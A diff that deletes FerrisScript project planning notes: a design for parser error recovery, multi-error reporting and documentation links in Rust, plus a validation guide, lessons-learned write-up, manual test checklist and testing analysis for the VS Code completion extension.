-let y = 10;
-let z = unknown_var;  // Never reported
-```
-
-Shows only:
-
-```
-Error[E100]: Unexpected token
-Expected ';', found 'let'
-```
-
-**After** (continues and reports all):
-
-```
-Error[E100]: Unexpected token
-Expected ';' after expression at line 1
-Error[E201]: Undefined variable 'unknown_var' at line 3
-```
-
-### 3. Multi-Error Reporting
-
-- [ ] **Add diagnostic data structure**
-  - [ ] Struct: `Diagnostic { code, message, span, level }`
-  - [ ] Levels: Error, Warning, Note
-  - [ ] Store all diagnostics during compilation
-
-- [ ] **Implement reporting modes**
-  - [ ] Batch mode: collect all, report at end (default)
-  - [ ] Stream mode: report immediately (for LSP)
-  - [ ] CLI flag: `--report-mode=batch|stream`
-
-- [ ] **Format multi-error output**
-  - [ ] Group by file/module
-  - [ ] Sort by line number
-  - [ ] Add summary: "Found X errors, Y warnings"
-
-### 4. Testing & Validation
-
-- [ ] **Unit tests for error recovery**
-  - [ ] Test recovery after missing semicolon
-  - [ ] Test recovery after unclosed brace
-  - [ ] Test recovery after invalid token
-  - [ ] Verify no cascading false positives
-
-- [ ] **Integration tests for multi-error**
-  - [ ] Test file with 3+ independent errors
-  - [ ] Verify all errors reported
-  - [ ] Test batch vs stream modes
-
-- [ ] **Documentation URL tests**
-  - [ ] Verify URLs appear in all error types
-  - [ ] Test URL format correctness
-  - [ ] Verify markdown anchors resolve
-
----
-
-## 🏗️ Technical Approach
-
-### Documentation URL Generation
-
-**Location**: `crates/compiler/src/error_code.rs`
-
-```rust
-impl ErrorCode {
-    /// Get documentation URL for this error code
-    /// 
-    /// By default, links to GitHub repository. Set FERRIS_DOCS_BASE environment
-    /// variable to use a custom documentation site (e.g., when docs.ferrisscript.dev launches).
-    /// 
-    /// # Examples
-    /// 
-    /// Default (GitHub):
-    /// ```
-    /// let url = ErrorCode::E201.get_docs_url();
-    /// // "https://github.com/dev-parkins/FerrisScript/blob/main/docs/ERROR_CODES.md#e201"
-    /// ```
-    /// 
-    /// With custom docs site:
-    /// ```bash
-    /// export FERRIS_DOCS_BASE=https://docs.ferrisscript.dev
-    /// ```
-    /// ```
-    /// let url = ErrorCode::E201.get_docs_url();
-    /// // "https://docs.ferrisscript.dev/errors/E201"
-    /// ```
-    pub fn get_docs_url(&self) -> String {
-        let code = self.code_string(); // "E201"
-        let anchor = code.to_lowercase(); // "e201"
-        
-        // Check for custom docs base URL
-        if let Ok(base) = std::env::var("FERRIS_DOCS_BASE") {
-            format!("{}/errors/{}", base.trim_end_matches('/'), code)
-        } else {
-            // Default: GitHub main branch (works immediately, no infrastructure needed)
-            format!(
-                "https://github.com/dev-parkins/FerrisScript/blob/main/docs/ERROR_CODES.md#{}",
-                anchor
-            )
-        }
-    }
-}
-```
-
-**Rationale for Hybrid Approach**:
-
-- ✅ **Works NOW**: GitHub URLs are immediately functional, clickable, and searchable
-- ✅ **No Infrastructure**: No need to build/host documentation site for v0.0.3
-- ✅ **Future-Proof**: Easy migration when `docs.ferrisscript.dev` launches (just set env var)
-- ✅ **Zero Breaking Changes**: Old binaries continue working, new ones use new site automatically
-- ✅ **Flexible**: Can test different doc sites or use self-hosted docs
-
-**Deferred Items**:
-
-- Documentation website (`docs.ferrisscript.dev`) → **Phase 9 or v0.0.4**
-  - Use mdBook, Docusaurus, or similar
-  - Host on GitHub Pages, Netlify, or Vercel
-  - Set up CI to deploy on docs changes
-  - Add search, navigation, examples
-- When ready: Set `FERRIS_DOCS_BASE=https://docs.ferrisscript.dev` in releases/CI
-
-**Integration**: Modify `format_error_with_code()` in `error_context.rs`:
-
-```rust
-pub fn format_error_with_code(
-    code: ErrorCode,
-    message: &str,
-    source: &str,
-    line: usize,
-    col: usize,
-) -> String {
-    let mut output = /* existing formatting */;
-    
-    // Add documentation link
-    output.push_str(&format!(
-        "\n   = note: see {} for more information",
-        code.get_docs_url()
-    ));
-    
-    output
-}
-```
-
-### Parser Error Recovery
-
-**Location**: `crates/compiler/src/parser.rs`
-
-**Add to Parser struct**:
-
-```rust
-struct Parser<'a> {
-    tokens: Vec<Token>,
-    source: &'a str,
-    position: usize,
-    current_line: usize,
-    current_column: usize,
-    diagnostics: Vec<Diagnostic>,  // NEW: collect errors
-    panic_mode: bool,               // NEW: track recovery state
-}
-```
-
-**Add recovery method**:
-
-```rust
-impl<'a> Parser<'a> {
-    /// Synchronize parser to next safe point after error
-    fn synchronize(&mut self) {
-        self.panic_mode = true;
-        
-        while !self.is_at_end() {
-            // Stop at statement boundaries
-            if self.previous().token_type == TokenType::Semicolon {
-                self.panic_mode = false;
-                return;
-            }
-            
-            // Stop at block boundaries or keywords
-            match self.peek().token_type {
-                TokenType::Fn | TokenType::Let | 
-                TokenType::If | TokenType::While |
-                TokenType::Return | TokenType::RightBrace => {
-                    self.panic_mode = false;
-                    return;
-                }
-                _ => self.advance(),
-            }
-        }
-    }
-    
-    /// Record diagnostic instead of returning error
-    fn add_diagnostic(&mut self, code: ErrorCode, message: String) {
-        let diagnostic = Diagnostic {
-            code,
-            message,
-            line: self.current_line,
-            column: self.current_column,
-            level: DiagnosticLevel::Error,
-        };
-        self.diagnostics.push(diagnostic);
-    }
-}
-```
-
-**Modify parse methods** to continue after errors:
-
-```rust
-fn parse_statement(&mut self) -> Option<Statement> {
-    let result = match self.peek().token_type {
-        TokenType::Let => self.parse_let_statement(),
-        // ... other cases
-        _ => {
-            self.add_diagnostic(
-                ErrorCode::E104,
-                format!("Expected statement, found {:?}", self.peek())
-            );
-            self.synchronize();
-            return None;
-        }
-    };
-    
-    match result {
-        Ok(stmt) => Some(stmt),
-        Err(e) => {
-            self.add_diagnostic(/* extract code from error */, e);
-            self.synchronize();
-            None
-        }
-    }
-}
-```
-
-### Multi-Error Reporting
-
-**New file**: `crates/compiler/src/diagnostic.rs`
-
-```rust
-#[derive(Debug, Clone)]
-pub struct Diagnostic {
-    pub code: ErrorCode,
-    pub message: String,
-    pub line: usize,
-    pub column: usize,
-    pub level: DiagnosticLevel,
-}
-
-#[derive(Debug, Clone, Copy, PartialEq)]
-pub enum DiagnosticLevel {
-    Error,
-    Warning,
-    Note,
-}
-
-pub struct DiagnosticBatch {
-    diagnostics: Vec<Diagnostic>,
-}
-
-impl DiagnosticBatch {
-    pub fn new() -> Self {
-        Self { diagnostics: Vec::new() }
-    }
-    
-    pub fn add(&mut self, diagnostic: Diagnostic) {
-        self.diagnostics.push(diagnostic);
-    }
-    
-    pub fn report_batch(&self) -> String {
-        let mut output = String::new();
-        
-        // Sort by line number
-        let mut sorted = self.diagnostics.clone();
-        sorted.sort_by_key(|d| d.line);
-        
-        // Format each diagnostic
-        for diag in sorted {
-            output.push_str(&format_diagnostic(&diag));
-            output.push('\n');
-        }
-        
-        // Add summary
-        let error_count = self.diagnostics.iter()
-            .filter(|d| d.level == DiagnosticLevel::Error)
-            .count();
-        output.push_str(&format!(
-            "\nFound {} error(s)\n",
-            error_count
-        ));
-        
-        output
-    }
-}
-```
-
-### CLI Integration
-
-**Modify**: `crates/compiler/src/lib.rs` or main CLI
-
-```rust
-pub fn compile_with_options(source: &str, report_mode: ReportMode) -> Result<Program, String> {
-    let tokens = tokenize(source)?;
-    let mut parser = Parser::new(tokens, source);
-    let program = parser.parse();
-    
-    match report_mode {
-        ReportMode::Batch => {
-            if !parser.diagnostics.is_empty() {
-                return Err(format_batch_diagnostics(&parser.diagnostics));
-            }
-        }
-        ReportMode::Stream => {
-            for diag in &parser.diagnostics {
-                eprintln!("{}", format_diagnostic(diag));
-            }
-            if parser.has_errors() {
-                return Err("Compilation failed".to_string());
-            }
-        }
-    }
-    
-    Ok(program)

-- [ ] Batch mode works well for CLI, stream mode ready for LSP
-
----
-
-## 🚫 Out of Scope (Deferred)
-
-### Documentation Website (Deferred to Phase 9 or v0.0.4)
-
-**Status**: 🎯 Domain Acquired (`ferrisscript.dev`) ✅ - Infrastructure work can proceed in parallel
-
-**Why Deferred**:
-
-- ERROR_CODES.md is sufficient for v0.0.3
-- Full website (mdBook/Docusaurus) requires hosting setup
-- LSP integration is higher priority
-- Can build website from existing markdown later
-
-**Infrastructure Checklist** (can work on between features):
-
-- [x] **1. Buy ferrisscript.dev domain** ✅
-  - Acquired via Namecheap/Cloudflare/Squarespace
-  - `.dev` TLD requires HTTPS (enforced by Chrome/browsers)
-
-- [ ] **2. Set up static host**
-  - Options: Netlify / Vercel / GitHub Pages
-  - Recommended: Netlify or Vercel (easy integration with GitHub)
-  - Auto-deploy from main branch
-
-- [ ] **3. Create CNAME for docs subdomain**
-  - Point `docs.ferrisscript.dev` to hosting provider
-  - Example: `docs.ferrisscript.dev` → Netlify CNAME
-  - DNS propagation: ~24-48 hours
-
-- [ ] **4. Deploy documentation site**
-  - Choose framework: Docusaurus / mdBook / VitePress
-  - Connect GitHub repo for automatic deployments
-  - Convert ERROR_CODES.md to site format
-  - Set up search functionality
-
-- [ ] **5. Verify HTTPS + test live docs**
-  - `.dev` requires HTTPS (automatic with Netlify/Vercel)
-  - Test error code links: `docs.ferrisscript.dev/errors/E001`
-  - Validate anchor links work correctly
-  - Test mobile responsiveness
-
-**Future Work** (after infrastructure is live):
-
-- Add interactive error examples
-- Implement error code search
-- Add "Copy to clipboard" for code snippets
-- Set up analytics (optional)
-- Add dark mode support
-
-### Advanced Error Recovery
-
-**Why Deferred**:
-
-- Basic synchronization is sufficient for v0.0.3
-- Advanced strategies (speculative parsing, etc.) are complex
-- Can improve incrementally in future versions
-
-**Future Work**:
-
-- Context-sensitive recovery strategies
-- Better expected token suggestions
-- Recovery confidence scoring
-
-### JSON Diagnostic Export
-
-**Why Deferred**:
-
-- LSP will handle structured diagnostics
-- CLI users don't need JSON format yet
-- Can add later if tools ecosystem develops
-
----
-
-## 📝 Dependencies
-
-**Requires from Previous Phases**:
-
-- ✅ Phase 1: Error code system (E001-E499)
-- ✅ Phase 2: Error suggestions (for testing integration)
-- ✅ ERROR_CODES.md exists with comprehensive content
-
-**Enables for Future Phases**:
-
-- Phase 4-5: VS Code extension can link to documentation
-- Phase 5: LSP can use streaming diagnostic mode
-- Phase 6+: Better developer experience for all tooling

-# Phase 4: VS Code Completion Fixes - Validation Guide
-
-**Date**: October 7, 2025  
-**Version**: 0.0.3  
-**Status**: Ready for Testing
-
----
-
-## 🎯 What Was Fixed
-
-### ✅ Fix #1: Statement Keywords Filtered from Expressions (Issue #1)
-
-- **Problem**: `fn`, `let`, `while`, `return` were showing in expression context
-- **Solution**: Added filtering in `provider.ts` to exclude statement-only keywords from expressions
-- **Files Changed**: `src/completion/provider.ts`
-
-### ✅ Fix #2: Type Completion After Typing (Issue #3)
-
-- **Problem**: No type completions when typing `let pos: V` (types only showed with just colon)
-- **Solution**: Updated context detection regex from `/:\s*$/` to `/:\s*\w*$/` to handle partial type names
-- **Files Changed**: `src/utils/context.ts`
-
-### ✅ Fix #3: Documentation Update (Issue #2)
-
-- **Problem**: User expected `false` when typing "tr"
-- **Solution**: Clarified in docs that VS Code filters by prefix (this is expected behavior, not a bug)
-- **Files Changed**: `PHASE_4_MANUAL_TESTING.md`
-
----

-
----
-
-### 2. **Structured Testing Approach**
-
-**Success**: Manual testing with clear checklist
-
-- 10 specific test cases covering all features
-- Each test had: Steps, Expected Results, Test Code
-- Checkbox format made progress tracking easy
-
-**Impact**: Found 3 issues that might not have been caught otherwise
-
-**Keep For Future**: Manual testing checklists for UI/UX features
-
----
-
-### 3. **Rapid Issue Resolution**
-
-**Success**: Issues fixed within 30 minutes of discovery
-
-- Clear analysis documentation (`PHASE_4_TESTING_ANALYSIS.md`)
-- Prioritized by severity (HIGH → MEDIUM → LOW)
-- Simple, targeted fixes
-
-**Impact**: Issues didn't block progress or delay merge
-
-**Keep For Future**: Document issues before fixing to clarify thinking
-
----
-
-### 4. **Comprehensive Analysis Before Fixing**
-
-**Success**: Created `PHASE_4_TESTING_ANALYSIS.md` with:
-
-- Root cause analysis for each issue
-- Severity assessment
-- Multiple solution options
-- Recommendations with pros/cons
-
-**Impact**: Made better fix decisions, avoided rushed solutions
-
-**Keep For Future**: Always analyze before implementing fixes
-
----
-
-### 5. **Validation Documentation**
-
-**Success**: Created `PHASE_4_FIXES_VALIDATION.md` for re-testing
-
-- Quick validation tests (4 focused tests vs 10 full tests)
-- PowerShell commands for reinstallation
-- Pass/Fail checkboxes
-
-**Impact**: Made re-testing efficient and clear
-
-**Keep For Future**: Provide focused validation tests after fixes
-
----
-
-## 🔧 What Could Be Improved
-
-### 1. **Prefix Filtering Understanding** ⚠️ MEDIUM
-
-**Issue**: Expected "all completions" but VS Code filters by prefix
-
-**Examples**:
-
-- Typing "tr" → only `true` shows (not `false`)
-- Typing "V" → only `Vector2` and `void` show (not all types)
-- This is **correct behavior** but wasn't understood initially
-
-**Root Cause**: Didn't account for VS Code's built-in filtering
-
-**Improvement For Future**:
-
-- Document VS Code completion behavior upfront in implementation phase
-- Test with and without prefixes during implementation
-- Add note in test cases: "Test both with prefix and without (Ctrl+Space)"
-
-**Estimated Impact**: Could save 15-20 minutes of confusion/documentation updates
-
----
-
-### 2. **Context Detection Edge Cases** ⚠️ MEDIUM
-
-**Issue**: Initial regex `/:\s*$/` didn't handle partial type names
-
-**Example**: `let pos: V` didn't trigger type completion
-
-**Root Cause**: Regex only matched "colon at end" not "colon + word characters"
-
-**Improvement For Future**:
-
-- Test context detection with partial input during implementation
-- Create test cases like: "type: ", "type: i", "type: Vec"
-- Don't assume cursor is always at "exact position"
-
-**Test Cases To Add During Implementation**:
-
-```typescript
-// Test context detection with:
-"let x: "      // Cursor at end
-"let x: i"     // Partial type name
-"let x: Vec"   // Longer partial name
-"let x = "     // Expression context
-"let x = pr"   // Partial function name
-```
-
-**Estimated Impact**: Could catch bugs 2-3 hours earlier
-
----
-
-### 3. **Statement vs Expression Context** ⚠️ LOW
-
-**Issue**: Statement-only keywords showed in expression context
-
-**Example**: `fn`, `let` appeared in `let x = |` context
-
-**Root Cause**: `statementLevelOnly` parameter only filtered when `true`
-
-**Improvement For Future**:
-
-- When designing context-aware features, explicitly test **negative cases**
-- "What SHOULDN'T appear here?" not just "What should appear?"
-- Create test case: "Type in expression, verify statement keywords NOT present"
-
-**Test Matrix To Create**:
-
-| Context | Should Show | Should NOT Show |
-|---------|-------------|-----------------|
-| Statement Start | fn, let, if, while, return | - |
-| Expression | if, else, mut, true, false | fn, let, while, return |
-| Type Position | i32, f32, bool, String | fn, let, if, while |
-
-**Estimated Impact**: Could prevent 1-2 bugs during implementation
-
----
-
-### 4. **Compiled Output in Git** ⚠️ LOW
-
-**Issue**: `/out` folder was committed despite being in `.gitignore`
-
-**Root Cause**: Files were already tracked before `.gitignore` was added
-
-**Improvement For Future**:
-
-- When creating new project folders, add `.gitignore` FIRST
-- Check `git status` before initial commit
-- Add to setup checklist: "Verify .gitignore working before first commit"
-
-**Estimated Impact**: Saves cleanup time later
-
----
-
-### 5. **Return Statement Auto-Suggestion** ℹ️ INFO
-
-**Issue**: Typing `ret` doesn't auto-suggest `return`
-
-**Status**: Minor UX issue, snippet still works when selected
-
-**Root Cause**: Complex interaction between:
-
-- Context detection (statement vs expression)
-- Prefix filtering ("ret" matching)
-- VS Code's suggestion ordering
-
-**Decision**: Deferred to post-v0.1.0 (not critical)
-
-**Improvement For Future**:
-
-- Don't over-optimize auto-complete suggestions initially
-- Focus on: Does it work when user types full word?
-- Polish auto-suggestion ranking in later phases
-
-**Estimated Impact**: Avoid spending time on edge cases that don't block usage
-
----
-
-## 🚀 Recommendations for Future Copilot Workstreams
-
-### **Tier 1: High-Value, Low-Effort** (Implement Immediately)
-
-#### 1. **Context Detection Test Matrix** (5 minutes)
-
-When implementing context-aware features, create test matrix upfront:
-
-```markdown
-| Input Context | Cursor Position | Expected Completions | Should NOT Show |
-|---------------|-----------------|---------------------|-----------------|
-| let x: | After colon | All types | Keywords, functions |
-| let x: i | After "i" | i32 (filtered) | - |
-| let x = | After equals | Keywords, functions | Types |
-```
-
-**Why**: Catches edge cases during implementation, not testing  
-**Effort**: 5 minutes  
-**Impact**: Saves 1-2 hours debugging later
-
----
-
-#### 2. **Prefix Filtering Documentation** (2 minutes)
-
-Add note to implementation docs:
-
-```markdown
-## VS Code Completion Behavior
-
-⚠️ **Important**: VS Code automatically filters completions by prefix.
-
-- User types "tr" → only items starting with "tr" show
-- User types nothing → all items show
-- This is **expected behavior**, not a bug
-
-**Test both scenarios**:
-- Type prefix (e.g., "tr", "V", "i32")
-- Press Ctrl+Space without typing
-```
-
-**Why**: Prevents confusion about "missing" completions  
-**Effort**: 2 minutes  
-**Impact**: Saves 15-20 minutes clarification later
-
----
-
-#### 3. **.gitignore First Policy** (1 minute)
-
-Checklist for new folders:
-
-```markdown
-- [ ] Create `.gitignore` in new folder
-- [ ] Add build outputs (out/, dist/, target/)
-- [ ] Add dependencies (node_modules/, .venv/)
-- [ ] Run `git status` before first commit
-- [ ] Verify ignored files don't show up
-```
-
-**Why**: Prevents having to remove files from git later  
-**Effort**: 1 minute  
-**Impact**: Saves cleanup commits
-
----
-
-### **Tier 2: Medium-Value, Medium-Effort** (Consider for Phase 5)
-
-#### 4. **Automated Context Detection Tests** (30-60 minutes)
-
-Create unit tests for context detection:
-
-```typescript
-describe('Context Detection', () => {
-  it('detects type position after colon', () => {
-    const context = detectContext('let x: ', 7);
-    expect(context).toBe(CompletionContext.TypePosition);
-  });
-
-  it('detects type position with partial name', () => {
-    const context = detectContext('let x: Vec', 10);
-    expect(context).toBe(CompletionContext.TypePosition);
-  });
-
-  // ... more tests
-});
-```
-
-**Why**: Catches regressions, documents expected behavior  
-**Effort**: 30-60 minutes  
-**Impact**: Prevents context detection bugs in future changes
-
----
-
-#### 5. **Completion Integration Tests** (1-2 hours)
-
-Test completion provider with VS Code API:
-
-```typescript
-it('provides type completions after colon', async () => {
-  const doc = await vscode.workspace.openTextDocument({
-    content: 'let x: ',
-    language: 'ferrisscript'
-  });
-  const completions = await provider.provideCompletionItems(doc, new vscode.Position(0, 7));
-  expect(completions.map(c => c.label)).toContain('i32');
-  expect(completions.map(c => c.label)).not.toContain('fn');
-});
-```
-
-**Why**: Tests actual VS Code integration, not just logic  
-**Effort**: 1-2 hours setup + tests  
-**Impact**: Higher confidence in VS Code-specific behavior
-
----
-
-#### 6. **Negative Test Cases** (15-30 minutes)
-
-For each feature, explicitly test what SHOULDN'T happen:
-
-```typescript
-describe('Completion Filtering', () => {
-  it('does NOT show statement keywords in expression context', () => {
-    const completions = getCompletionsInContext(CompletionContext.Expression);
-    expect(completions.map(c => c.label)).not.toContain('fn');
-    expect(completions.map(c => c.label)).not.toContain('let');
-  });
-});
-```
-
-**Why**: Prevents pollution of completion lists  
-**Effort**: 15-30 minutes  
-**Impact**: Cleaner UX, catches filter bugs
-
----
-
-### **Tier 3: Long-Term Improvements** (Plan for v0.1.0+)
-
-#### 7. **Completion Ranking Optimization** (2-4 hours)
-
-Improve auto-suggestion ordering:
-
-- Frequently used items rank higher
-- Context-relevant items prioritized
-- Partial matches considered
-
-**Example**: Typing `ret` should prioritize `return` over `retrace` (if added)
-
-**Why**: Better UX, faster coding  
-**Effort**: 2-4 hours investigation + implementation  
-**Impact**: Polish, not blocking functionality
-
----
-
-#### 8. **Semantic Completion** (Future)
-
-Context-aware suggestions based on code analysis:
-
-- After `let pos: Vector2`, suggest `Vector2(0.0, 0.0)`
-- Inside function returning `i32`, prioritize `return` + integer value
-- After `if`, suggest boolean expressions
-
-**Why**: Significantly improves developer experience  
-**Effort**: 1-2 days research + implementation  
-**Impact**: High UX value, but complex
-
----
-
-#### 9. **LSP Integration** (Future)
-
-Full Language Server Protocol implementation:
-
-- Go to definition
-- Find references
-- Rename symbol
-- Diagnostics (errors/warnings)
-- Code actions (quick fixes)
-
-**Why**: Professional IDE experience  
-**Effort**: 1-2 weeks  
-**Impact**: Major milestone for v0.2.0+
-
----
-
-## 📋 Actionable Checklist for Phase 5
-
-### Before Implementation
-
-- [ ] Create context detection test matrix (Tier 1 #1)
-- [ ] Document VS Code completion behavior (Tier 1 #2)
-- [ ] Set up .gitignore first (Tier 1 #3)
-- [ ] Define negative test cases (what SHOULDN'T happen)
-
-### During Implementation
-
-- [ ] Test with prefix filtering (type "a", type "ab", etc.)
-- [ ] Test partial input (not just "exact position")
-- [ ] Check git status before first commit
-- [ ] Document edge cases as you find them
-
-### After Implementation
-
-- [ ] Run manual tests with prefix variations
-- [ ] Verify .gitignore working correctly
-- [ ] Create focused validation tests (not just full test suite)
-- [ ] Document any deferred issues with clear notes
-
-### If Issues Found
-
-- [ ] Document issue before fixing (root cause, severity, options)
-- [ ] Prioritize by severity (HIGH → MEDIUM → LOW)
-- [ ] Create validation tests for fixes
-- [ ] Update main test documentation with clarifications
-
----
-
-## 🎓 Key Takeaways

-**Date**: October 7, 2025  
-**Phase**: Phase 4 - VS Code Completion  
-**Tester**: Developer
-
----
-
-## 🎯 Testing Objective
-
-Manually verify that the VS Code completion provider works correctly for FerrisScript files, providing context-aware suggestions for keywords, types, and functions.
-
----
-
-## 🛠️ Setup Instructions
-
-### 1. Install the Extension Locally
-
-```powershell
-# From extensions/vscode directory
-cd extensions\vscode
-
-# Compile TypeScript (if not already done)
-npm run compile
-
-# Copy extension to VS Code extensions folder
-# Windows:
-$dest = "$env:USERPROFILE\.vscode\extensions\ferrisscript-0.0.3"
-Remove-Item -Recurse -Force $dest -ErrorAction SilentlyContinue
-Copy-Item -Recurse . $dest -Exclude node_modules,src,out,*.log
-
-# Copy compiled output
-Copy-Item -Recurse out $dest\out
-
-# Reload VS Code window
-# Press Ctrl+Shift+P, type "Reload Window", and press Enter
-```
-
-### 2. Create Test File
-
-```powershell
-# Create a test .ferris file
-New-Item -ItemType File -Path "test_completion.ferris" -Force
-```
-
----
-
-## ✅ Manual Test Checklist
-
-### Test 1: Keyword Completion at Statement Start
-
-**Steps**:
-
-1. Open `test_completion.ferris`
-2. Type `l` at the start of a line
-3. Press `Ctrl+Space` to trigger completion
-
-**Expected Results**:
-
-- [X] Completion menu appears
-- [X] `let` appears in suggestions
-- [X] `let` has detail text: "immutable variable declaration"
-- [X] Documentation shows example usage
-
-**Test Code**:
-
-```ferrisscript
-l
-```
-
----
-
-### Test 2: Function Declaration Snippet
-
-**Steps**:
-
-1. Type `fn` at statement start
-2. Select `fn` from completion menu or press Tab
-
-**Expected Results**:
-
-- [X] Snippet expands to: `fn name(params) { ... }`
-- [X] Cursor is at `name` placeholder
-- [X] Pressing Tab moves to `params` placeholder
-
-**Test Code**:
-
-```ferrisscript
-fn
-```
-
----
-
-### Test 3: Type Completion After Colon
-
-**Steps**:
-
-1. Type `let x:`
-2. Press `Ctrl+Space` or just type
-
-**Expected Results**:
-
-- [X] Only type completions appear (no keywords)
-- [X] Shows: `i32`, `f32`, `bool`, `String`, `Vector2`, `Node`, `void`
-- [X] Each type has helpful documentation
-
-**Test Code**:
-
-```ferrisscript
-let x: 
-```
-
----
-
-### Test 4: Function Completion in Expression
-
-**Steps**:
-
-1. Type `pr` inside a function body
-2. Press `Ctrl+Space`
-
-**Expected Results**:
-
-- [X] `print` appears in suggestions
-- [X] Detail shows: `print(message: String) -> void`
-- [X] Selecting `print` expands to: `print($0)` with cursor inside parentheses
-
-**Test Code**:
-
-```ferrisscript
-fn test() {
-    pr
-}
-```
-
----
-
-### Test 5: Context-Aware Completion (Statement vs Expression)
-
-**Steps**:
-
-1. Type `i` at statement start
-2. Note suggestions
-3. Type `i` inside an expression (e.g., after `let x =`)
-4. Note suggestions
-
-**Expected Results - Statement Start**:
-
-- [X] Shows: `if`, `ifelse`
-  - (currently only these are shown; `while`, `return` are missing)
-
-**Expected Results - Expression Context**:
-
-- [X] Shows: `if`, `else`, `mut`, `true`, `false` (expression keywords)
-- [X] Does NOT show `fn`, `let`, `while`, `return` (statement-only keywords filtered out)
-- [X] Shows functions like `print`
-
-**Note**: Statement-only keywords (`fn`, `let`, `while`, `return`) are now correctly filtered out in expression context since they are syntactically invalid in expressions.
-
-**Test Code**:
-
-```ferrisscript
-i
-
-fn test() {
-    let x = i
-}
-```
-
----
-
-### Test 6: Mut Keyword Completion
-
-**Steps**:
-
-1. Type `let mu` at statement start
-2. Press `Ctrl+Space`
-
-**Expected Results**:
-
-- [X] `mut` appears in suggestions
-- [X] Detail shows: "mutable variable modifier"
-- [X] Documentation explains mutable variables
-
-**Test Code**:
-
-```ferrisscript
-let mu
-```
-
----
-
-### Test 7: Boolean Literal Completion
-
-**Steps**:
-
-1. Type `let is_ready: bool = tr` in a file
-2. Press `Ctrl+Space`
-
-**Expected Results**:
-
-- [X] `true` appears when typing "tr" (prefix match)
-- [X] `false` appears when typing "f" or "fa" (prefix match)
-- [X] Both appear when pressing `Ctrl+Space` without typing any prefix
-- [X] Both have documentation
-
-**Note**: VS Code automatically filters completions by prefix. This is expected behavior:
-
-- Type `tr` → only `true` shows (matches prefix)
-- Type `f` or `fa` → only `false` shows (matches prefix)
-- Type nothing or `Ctrl+Space` → both show
-
-**Test Code**:
-
-```ferrisscript
-let is_ready: bool = tr
-```
-
----
-
-### Test 8: While Loop Snippet
-
-**Steps**:
-
-1. Type `wh` at statement start
-2. Select `while` from completion
-
-**Expected Results**:
-
-- [X] Snippet expands to: `while condition { ... }`
-- [X] Cursor is at `condition` placeholder
-- [X] Pressing Tab moves inside loop body
-
-**Test Code**:
-
-```ferrisscript
-wh
-```
-
----
-
-### Test 9: Return Statement Completion
-
-**Steps**:
-
-1. Inside a function, type `ret`
-2. Press `Ctrl+Space`
-
-**Expected Results**:
-
-- [X] Typing `ret` at start of line (after indentation) should show `return` in suggestions
-- [X] Snippet expands correctly to: `return $0;` when selected
-- [X] Cursor is positioned after `return`
-- [ ] **Known Issue**: `return` may not appear in auto-complete list (VS Code filters by "ret" prefix)
-  - Workaround: Type full word `return` or select from menu if it appears
-  - Root cause: VS Code prefix matching + statement context detection
-
-**Test Code**:
-
-```ferrisscript
-fn get_value() -> i32 {
-    ret
-}
-```
-
----
-
-### Test 10: Godot Type Completion
-
-**Steps**:
-
-1. Type `let pos: V` after a colon
-2. Press `Ctrl+Space`
-
-**Expected Results**:
-
-- [X] `Vector2` appears in suggestions (context detection now handles partial type names)
-- [X] Detail shows: "Godot 2D vector type"
-- [X] Documentation mentions `x` and `y` fields
-- [X] When typing "V", only `Vector2` and `void` appear (VS Code prefix filtering - **expected**)
-- [X] Without typing (just `Ctrl+Space` after colon), all types visible: `i32`, `f32`, `bool`, `String`, `Node`, `void`, `Vector2`
-
-**Note**: Context detection regex updated to `/:\s*\w*$/` to detect type position even when user has typed partial type name (e.g., "V", "Vec", "Vector"). VS Code automatically filters by prefix, so typing "V" shows only types starting with "V". This is the same prefix filtering behavior as boolean literals (see Test 7).
-
-**Test Code**:
-
-```ferrisscript
-let pos: V
-```
-
----
-
-## 🐛 Common Issues & Troubleshooting
-
-### Issue: Completion Not Triggering
-
-**Solution**:
-
-- Verify extension is activated: Check "Output" → "Extension Host" for errors
-- Reload VS Code window: `Ctrl+Shift+P` → "Reload Window"
-- Ensure file has `.ferris` extension
-
-### Issue: No Type Completions After Colon
-
-**Solution**:
-
-- Check context detection logic in `src/utils/context.ts`
-- Verify regex pattern `/:\s*$/` matches your cursor position
-- Add space after colon if needed
-
-### Issue: Extension Not Found
-
-**Solution**:
-
-- Verify extension copied to correct folder:
-  - Windows: `%USERPROFILE%\.vscode\extensions\ferrisscript-0.0.3`
-  - Linux/macOS: `~/.vscode/extensions/ferrisscript-0.0.3`
-- Check folder contains `package.json` and `out/extension.js`

-# Phase 4: VS Code Completion - Testing Analysis
-
-**Date**: October 7, 2025  
-**Phase**: Phase 4 - VS Code Completion  
-**Analysis**: Testing Issues & Recommendations
-
----
-
-## 🔍 Issues Identified
-
-### Issue #1: Statement-Level Keywords in Expression Context (Test 5)
-
-**Severity**: 🟡 MEDIUM  
-**Status**: Design Decision Needed
-
-**Description**:
-
-When typing in an expression context (e.g., `let x = i`), statement-level keywords like `fn` and `let` appear in the completion list. They are not first in the list (correctly ranked lower), but they are still present.
-
-**User Question**: Should they be excluded completely?
-
-**Root Cause**:
-
-In `src/completion/provider.ts`, the Expression context case returns:
-
-```typescript
-return [
-    ...getKeywordCompletions(false),  // false = include ALL keywords
-    ...getFunctionCompletions()
-];
-```
-
-The `statementLevelOnly` parameter only filters when `true`. When `false`, it includes everything, including statement-only keywords (`fn`, `let`, `if`, `while`, `return`).
-
-**Language Semantics**:
-
-In FerrisScript, `fn` and `let` are **only valid at statement level**. They cannot appear in expression contexts. For example:
-
-- ❌ Invalid: `let x = fn test() {}`
-- ❌ Invalid: `let y = let z`
-- ✅ Valid: `if true { ... }` (if can be used in expressions for ternary-like behavior)
-
-**Recommendation**:
-
-**FIX** - Filter out statement-only keywords in expression context:
-
-1. **Option A**: Add filtering logic in `provider.ts`:
-
-```typescript
-case CompletionContext.Expression:
-    const keywordItems = getKeywordCompletions(false);
-    // Filter out statement-level keywords (fn, let, while, return)
-    const expressionKeywords = keywordItems.filter(item => 
-        !['fn', 'let', 'while', 'return'].includes(item.label)
-    );
-    return [
-        ...expressionKeywords,
-        ...getFunctionCompletions()
-    ];
-```
-
-2. **Option B**: Add new parameter to `getKeywordCompletions()`:
-
-```typescript
-// In keywords.ts
-export function getKeywordCompletions(
-    statementLevelOnly: boolean,
-    excludeStatementLevel: boolean = false
-): vscode.CompletionItem[]
-
-// In provider.ts
-case CompletionContext.Expression:
-    return [
-        ...getKeywordCompletions(false, true),  // Exclude statement-level
-        ...getFunctionCompletions()
-    ];
-```
-
-**Recommended Approach**: Option A is simpler and clearer. Implement this fix.
-
----
-
-### Issue #2: `false` Not Showing When Typing `tr` (Test 7)
-
-**Severity**: 🟢 LOW / ℹ️ NOT A BUG  
